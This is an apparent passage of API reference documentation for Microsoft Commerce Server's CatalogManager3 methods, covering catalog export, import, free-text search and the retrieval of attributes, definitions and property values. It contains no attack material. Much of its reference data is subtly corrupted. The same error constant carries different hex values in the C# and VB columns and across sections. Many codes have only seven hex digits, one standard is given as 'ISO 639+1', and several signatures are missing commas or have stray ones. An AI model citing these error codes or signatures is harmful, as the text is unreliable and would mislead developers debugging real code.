  • All characters in the range 0xF900 to 0xFFFE

Caution

  • If you call this method on a virtual catalog the resulting XML data will not include changes that are caused by changes in inclusion or exclusion rules. It will include changes inherited from a base catalog.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be stopped. Other methods should work after the interruption.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.ExportCSV Method (PIA)

Use this method to export catalog data to a comma-separated values (CSV) format file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub ExportCSV(
  strCSVDestination As String,
  strCatalogToExport As String
  Optional fRunSynchronously As Boolean,
  Optional strLang As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void ExportCSV(
  string strCSVDestination,
  string strCatalogToExport
  bool fRunSynchronously,
  string strLang
);

Parameters

[Visual Basic .NET]
strCSVDestination
A String that contains the full path and file name of the export file to be created.
strCatalogToExport
A String that contains the name of the catalog to export.
fRunSynchronously
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread. The default value is False.
strLang
A String that contains the ISO 639+1 language identifier.
[C#]
strCSVDestination
A string that contains the full path and file name of the export file to be created.
strCatalogToExport
A string that contains the name of the catalog to export.
fRunSynchronously
A bool that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread.
strLang
A string that contains the ISO 639+1 language identifier.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_CATALOGNAME | [C#] 0x8898006 [Visual Basic .NET] &H8898003 | The Catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x8898004 [Visual Basic .NET] &H8898002 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003 [Visual Basic .NET] &H889800D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_LANGUAGE | [C#] 0x8898009 [Visual Basic .NET] &H889800E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_FILE_CREATION_FAILED | [C#] 0x8898001 [Visual Basic .NET] &H8898008 | The Catalog Export operation was unable to create the file you specified. Check that the file name you specified is valid and the directory that you specified exists and is not read-only.
E_CAT_IMPORT_IN_PROGRESS | [C#] 0x8898002 [Visual Basic .NET] &H8898005 | This operation cannot be started because an import operation is currently in progress.

Remarks

The ExportCSV method can be used to output product data from the Product Catalog System in a format that can be used in other programs, such as Microsoft Excel.

This method can output product data from only one catalog at a time.

The comma-separated values (CSV) file generated only contains products. The categories, relationships, and hierarchy are not written to the CSV file.

This method runs in a separate thread. Prior to spawning the thread, it checks that there is not an existing ExportCSV, ExportXML, ImportCSV or ImportXML method in progress. Once the new thread is spawned, this method returns immediately, if fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be aborted. Other methods should work after the interruption.

Caution

  • Changes made to the catalog while an export is in progress may or may not be reflected in the output file. Additions and deletions made during the export could result in a corrupt file. Changes should be avoided during an export.
[Visual Basic .NET]

Example

myCatalogManager.ExportCSV("c:\exports\ourcatalog.csv", "OurStore")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.ExportXML

CatalogManager3.ImportCSV


CatalogManager3.ExportXML Method (PIA)

Use this method to export catalog data to an Extensible Markup Language (XML) file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub ExportXML(
  vrXML As Object,
  Optional strCatalogsToExport As Object
  Optional fRunSynchronously As Boolean
  Optional eXMLFmt As CatalogXMLFmtEnum
  Optional strLang As String,
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void ExportXML(
  Object vrXML,
  object strCatalogsToExport,
  bool fRunSynchronously
  CatalogXMLFmtEnum eXMLFmt
  string strLang,
);

Parameters

[Visual Basic .NET]
vrXML
An Object that contains the XML file name or IStream object that is the target of the export.
strCatalogsToExport
An Object that contains the catalogs to export. See the Remarks section for more information.
fRunSynchronously
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread. The default value is False.
eXMLFmt
A CatalogXMLFmtEnum enumeration that specifies the XML format. See the Remarks section for valid values.
strLang
A String that contains the language identifier.
[C#]
vrXML
An Object that contains the XML file name or IStream object that is the target of the export.
strCatalogsToExport
An object that contains the catalogs to export. See the Remarks section for more information. To export all catalogs, specify Type.Missing.
fRunSynchronously
A bool that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread.
eXMLFmt
A CatalogXMLFmtEnum enumeration that specifies the XML format. See the Remarks section for valid values.
strLang
A string that contains the language identifier.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_IMPORT_IN_PROGRESS | [C#] 0x88980025 [Visual Basic .NET] &H88980025 | There was an existing import method call that had not yet completed. This method cannot run while an import is in progress.
E_CAT_FILE_CREATION_FAILED | [C#] 0x88980018 [Visual Basic .NET] &H88980018 | The method was unable to create the output file.

Remarks

If the parameter strCatalogsToExport is missing, or contains an empty string, then all catalogs are exported. Otherwise the parameter strCatalogsToExport is a comma-separated list of catalog names to be exported.

If the strLang parameter is not specified, then data will be exported in all the languages supported by the catalog. If the strLang parameter is specified, then multilingual data will be exported only in the specified language.

The following table shows the values in the CatalogXMLFmtEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscFmtElementCentric | 0 | Export in Commerce Server 2000 format. (Default)
cscFmtAttributeCentric | 1 | Export in Commerce Server 2002 format.
cscFmtXDR | 2 | Export the Commerce Server 2002 schema as XML Data Reduced (XDR). (No data)

This method runs in a separate thread. Prior to spawning the thread, it checks that there is not an existing ExportCSV, ExportXML, ImportCSV or ImportXML method in progress. Once the new thread is spawned, this method returns immediately, if fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be aborted. Other methods should work after the interruption.

Caution

  • Changes made to the catalog while an export is in progress may or may not be reflected in the output file. Additions and deletions made during the export could result in a corrupt file. Changes should be avoided during an export.
[Visual Basic .NET]

Example

myCatalogManager.ExportXML("c:\exports\ourcatalog.xml", "OurStore", 1, "en-US")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.ExportCSV

CatalogManager3.ImportXML


CatalogManager3.FreeTextSearch Method (PIA)

Use this method to perform a free-text search of catalogs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function FreeTextSearch(
  strPhrase As String,
  Optional strCatalogsToSearch As Object,
  Optional eClassTypeRequired As Object,
  Optional strPropertiesToReturn As Object,
  Optional strPropertyToSortOn As Object,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  ByRef Optional plTotalRecordsInQuery As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset FreeTextSearch(
  string strPhrase,
  object strCatalogsToSearch,
  object eClassTypeRequired,
  object strPropertiesToReturn,
  object strPropertyToSortOn,
  bool fSortAscending,
  object lStartingRecord,
  object lRecordsToRetrieve,
  ref objectplTotalRecordsInQuery
);

Parameters

[Visual Basic .NET]
strPhrase
A String that contains the search phrase.
strCatalogsToSearch
An Object that contains the catalogs to search in a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired
An Object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section below.
strPropertiesToReturn
An Object that contains the properties to return. This is a comma-delimited String.
strPropertyToSortOn
An Object that contains the property on which to sort. If not included, the returned recordset will be unsorted.
fSortAscending
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord
An Object that contains the number of the starting record to retrieve. This is an offset from the first record.
lRecordsToRetrieve
An Object that contains the number of records to retrieve starting from the starting record.
plTotalRecordsInQuery
An Object used to return the number of records returned in the search.
[C#]
strPhrase
A string that contains the search phrase.
strCatalogsToSearch
An object that contains the catalogs to search in a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired
An object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section. Optionally, specify no catalog class by setting this to Type.Missing.
strPropertiesToReturn
An object that contains the properties to return. This is a comma-delimited String. Optionally, if a single catalog is specified, specify all properties by setting this to Type.Missing.
strPropertyToSortOn
An object that contains the property on which to sort. Specify Type.Missing to return an unsorted Recordset.
fSortAscending
A bool that specifies whether to sort in ascending or descending order. A value of True indicates that the returned Recordset will be sorted in ascending order. A value of False indicates that the returned Recordset will be sorted in descending order.
lStartingRecord
An object that contains the number of the starting record to retrieve. This is an offset from the first record. Specify Type.Missing to return all records.
lRecordsToRetrieve
An object that contains the number of records to retrieve starting from the starting record. Specify Type.Missing to return all records.
plTotalRecordsInQuery
An object used to return the number of records returned in the search.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface to a Recordset object that contains the search results.

[C#] This method returns the _Recordset interface to a Recordset object that will be used to return the query results.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid
E_INVALIDARG | [C#] 0x8007005 [Visual Basic .NET] &H8007007 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C#] 0x8898011 [Visual Basic .NET] &H889801D | The Properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011 [Visual Basic .NET] &H889801E | The Properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
S_FALSE | 1 | Error. The recordset will be set to NULL.
E_CAT_MULTI_CAT_QUERY_NEEDS_PROPS | [C#] 0x8898000 [Visual Basic .NET] &H889800F | When performing a query against multiple Catalogs, you should specify the actual properties to return.

Remarks

The plTotalRecordsInQuery parameter and returned interface contain valid data only if the method completes successfully.

The FreeTextSearch method is used to perform arbitrary lexical comparisons on words or phrases in one or more catalogs. The FreeTextSearch functionality in the Product Catalog System is based on full text indexing in Microsoft SQL Server 2000, and therefore inherits keywords and operators from SQL Server 2000 for controlling the free text search.

The following table shows the values of the CatalogClassTypeEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
CscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

The programming rules regarding the strPropertiesToReturn parameter vary depending on whether a single catalog name is passed in the strCatalogsToSearch parameter or whether multiple catalog names are passed. When a single catalog name is passed, the strPropertiesToReturn parameter is optional and defaults to all properties. When multiple catalog names are passed, the strPropertiesToReturn parameter is required.

If no value is specified for the strPropertiesToReturn parameter the method returns all fields in the specified catalog, otherwise it returns only the fields specified in the strPropertiesToReturn parameter.

For more information, see CatalogProduct Recordset.

[Visual Basic .NET]

Example

'rsFTSResults is a recordset object
'plTotalRecordsInQuery is an Object.
'Check it after the method returns for the
'total number of records that match the query.
rsFTSResults = myCatalogManager.FreeTextSearch( _
  "red ribbons", "Craft Supplies", "", "Price", _
  True, 0, 20, plTotalRecordsInQuery)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.Query


CatalogManager3.GetAttributes Method (PIA)

Use this method to retrieve the catalog or property attributes in the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetAttributes(
  eAttributeType As CatalogAttributesEnum,
  Optional fUserDefinedOnly As Boolean
) As Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetAttributes(
  CatalogAttributeEnum eAttributeType,
  Boolean fUserDefinedOnly
);

Parameters

[Visual Basic .NET]
eAttributeType
A CatalogAttributesEnum enumeration that specifies whether to return catalog or property attributes. See the Remarks section for valid values.
fUserDefinedOnly
A Boolean that specifies whether to return only user-defined attributes. A value of True specifies returning only user-defined attributes. A value of False specifies returning all attributes. The default value is True.
[C#]
eAttributeType
A CatalogAttributesEnum enumeration that specifies whether to return catalog or property attributes. See the Remarks section for valid values.
fUserDefinedOnly
A Boolean that specifies whether to return only user-defined attributes. A value of True specifies returning only user-defined attributes. A value of False specifies returning all attributes. The default value is True.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object that contains the properties of the specified definition.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object used to return the properties of the definition.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid
E_CAT_INVALID_PARAMETER | [C#] 0x889800B [Visual Basic .NET] &H8898006 | The input parameter <parameter number> is invalid.

Remarks

The following table shows the values in the CatalogAttributesEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscPropertyAttributes | 0 | Returns property attributes.
cscCatalogAttributes | 1 | Returns catalog attributes.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.GetCatalog Method (PIA)

Use this method to retrieve a specified catalog from the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function GetCatalog(
  strCatalogName As String
) As IProductCatalog
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public IProductCatalog GetCatalog(
  string strCatalogName
);

Parameters

[Visual Basic .NET]
strCatalogName
A String that contains the name of the catalog to be retrieved.
[C#]
strCatalogName
A string that contains the name of the catalog to be retrieved.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the IProductCatalog interface of the ProductCatalog object that contains the catalog specified.

[C#] This method returns the IProductCatalog interface used to return the ProductCatalog object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The Catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters: " [ ] , ' ( )#. These characters should not be used.
S_FALSE | [C#] 0x0000001 [Visual Basic .NET] &H0000001 | The catalog does not exist

Remarks

The ProductCatalog object contains valid data only if the method completes successfully.

[Visual Basic .NET]

Example

oCatalog = myCatalogManager.GetCatalog("Cdcatalog")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateCatalog

CatalogManager3.DeleteCatalog


CatalogManager3.GetDefinitionProperties Method (PIA)

Use this method to return the properties of the specified catalog or product definition.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetDefinitionProperties(
  strDefinitionName As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetDefinitionProperties(
  string strDefinitionName
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the definition whose properties will be returned.
[C#]
strDefinitionName
A string that contains the name of the definition whose properties will be returned.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object that contains the properties of the specified definition.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object used to return the properties of the definition.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H889800B | The Definition you specified does not exist.

Remarks

The recordset returned by this method contains valid data only if the method completes successfully.

The returned Recordset contains the following fields:

Field | Data Type | Description
DefinitionID | Integer | The number that uniquely identifies the definition.
PropertyName | String, 256 characters | None
PropertyOrder | Integer | None
PropertyType | Integer | Zero (0) indicates product or category, one (1) indicates product variant.
TimeStamp | Timestamp | None

The rows of the Recordset are sorted on the PropertyOrder field.

[Visual Basic .NET]

Example

rsDefProps = myCatalogManager.GetDefinitionProperties("T-Shirts")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddDefinitionProperty

CatalogManager3.AddDefinitionVariantProperty

CatalogManager3.RemoveDefinitionProperty


CatalogManager3.GetPropertyAttributes Method (PIA)

Use this method to return the attributes of the specified property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetPropertyAttributes(
  strPropertyName As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetPropertyAttributes(
  string strPropertyName
);

Parameters

[Visual Basic .NET]
strPropertyName
A String that contains the name of the property whose attributes will be returned.
[C#]
strPropertyName
A string that contains the name of the property whose attributes will be returned.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object that contains the list of attributes for the specified property

[C#] This method returns a _ADODB26Lib._Recordset interface to a Recordset object used to return the attributes of the property.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table describes the exceptions that COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]

Remarks

The recordset returned by this method contains valid data only if the method completes successfully.

This method returns a single-row Recordset object containing the requested property. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

[Visual Basic .NET]

Example

rsPropAttribs = myCatalogManager.GetPropertyAttributes("Size")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.SetPropertyAttributes


CatalogManager3.GetPropertyValues Method (PIA)

Use this method to return the list of values defined for an enumeration property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetPropertyValues(
  strPropertyName As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetPropertyValues(
  string strPropertyName
);

Parameters

[Visual Basic .NET]
strPropertyName
A String that contains the name of the enumeration property for which the defined values will be returned.
[C#]
strPropertyName
A string that contains the name of the enumeration property for which the defined values will be returned.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface to a Recordset object that contains the defined values in the enumeration.

[C#] This method returns a _ADODB26Lib._Recordset interface to a Recordset object used to return the property values.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]

Remarks

[Visual Basic .NET] The returned recordset contains valid data only if the method completes successfully.

[C#] The returned interface is associated with valid data only if the method completes successfully.

The returned Recordset contains the following fields:

Field | Data Type | Description
PropertyName | String 256 characters | None
Value | String 256 characters | None
[Visual Basic .NET]

Example

rsEnumValues = myCatalogManager.GetPropertyValues("Color")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddPropertyValue

CatalogManager3.RemovePropertyValue


CatalogManager3.ImportCSV Method (PIA)

Use this method to import a comma-separated-values (CSV) format file as catalog data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub ImportCSV(
  strCSVFileSource As String,
  strProductIDColumnName As String,
  strPriceColumnName As String,
  strCatalogName As String,
  Optional fUpdateOnly As Boolean
  Optional fRunSynchronously As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
 public void ImportCSV(
  string strCSVFileSource,
  string strProductIDColumnName,
  string strPriceColumnName,
  string strCatalogName,
  bool fUpdateOnly,
  bool fRunSynchronously
);

Parameters

[Visual Basic .NET]
strCSVFileSource
A String that contains the path and file name of the CSV file to import.
strProductIDColumnName
A String that contains the name of the column that provides a unique ID for products to be imported into the catalog.
strPriceColumnName
A String that contains the name of the column in the CSV file containing the product prices.
strCatalogName
A String that contains the name of the catalog into which the CSV file will be imported. The name of the catalog cannot begin with "#" or consist solely of spaces.
fUpdateOnly
A Boolean that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data. The default value is False.
fRunSynchronously
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread. The default value is False.
[C#]
strCSVFileSource
A string that contains the path and file name of the CSV file to import.
strProductIDColumnName
A string that contains the name of the column that provides a unique ID for products to be imported into the catalog.
strPriceColumnName
A string that contains the name of the column in the CSV file containing the product prices.
strCatalogName
A string that contains the name of the catalog into which the CSV file will be imported. The name of the catalog cannot begin with "#" or consist solely of spaces.
fUpdateOnly
A bool that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data.
fRunSynchronously
A bool that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The Catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_LANGUAGE | [C#] 0x8898009E [Visual Basic .NET] &H8898009E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A2 [Visual Basic .NET] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_FILE_OPEN_ERROR | [C#] 0x88980020 [Visual Basic .NET] &H88980020 | Unable to open the file . Check that the file exists and you have the necessary permissions on the file.
E_CAT_IMPORT_IN_PROGRESS | [C#] 0x88980025 [Visual Basic .NET] &H88980025 | This operation cannot be started because an import operation is currently in progress.
E_CAT_CONFLICTING_PRODUCTID | [C#] 0x88980113 [Visual Basic .NET] &H88980113 | The ProductID property you specified for this Catalog does not match the existing PrIoductID property. When importing a catalog in the update mode the ProductID property should match the existing ProductID property

Remarks

If the parameter strCatalogName specifies a catalog that does not exist, a new catalog will be created and the value of the fUpdateOnly parameter is ignored.

The ImportCSV method is used to bring existing data from a wide variety of sources into the Product Catalog System. The CSV file must conform to the following format:

  • The first row of data consists of column names, separated by commas. Rows are delimited by new lines in the text file.
  • Each subsequent row (called a data row) must have the same number of commas as the very first row. In other words, all columns in the CSV must be defined by the first row.
  • All items in the CSV file (one row per item) are assumed to be products, and are created from a common product definition. If no product definition exists in the destination catalog then one will be created during the import process.
  • Each item must specify a value for the column specified as the ProductID column, as well as for the column specified as the Price column.
  • Missing data is represented by two adjacent commas.

Notes

  • This method runs in a separate thread. Prior to spawning the thread, it checks that the specified file can be opened and that there is not an existing ExportCSV, ExportXML, ImportCSV or ImportXML method in progress. Once the new thread is spawned, this method returns immediately, if fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.
  • This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.
  • If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be aborted. Other methods should work after the interruption.
[Visual Basic .NET]

Example

myCatalogManager.ImportCSV( _
  "c:\imports\ourcatalog.csv", "SKU", "Price", _
  "OurCatalog", True)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.ExportCSV

CatalogManager3.ImportXML


CatalogManager3.ImportXML Method (PIA)

Use this method to import an Extensible Markup Language (XML) file as catalog data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub ImportXML(
  vrXML As Object,
  Optional fUpdateOnly As Boolean
  Optional fRunSynchronously As Boolean,
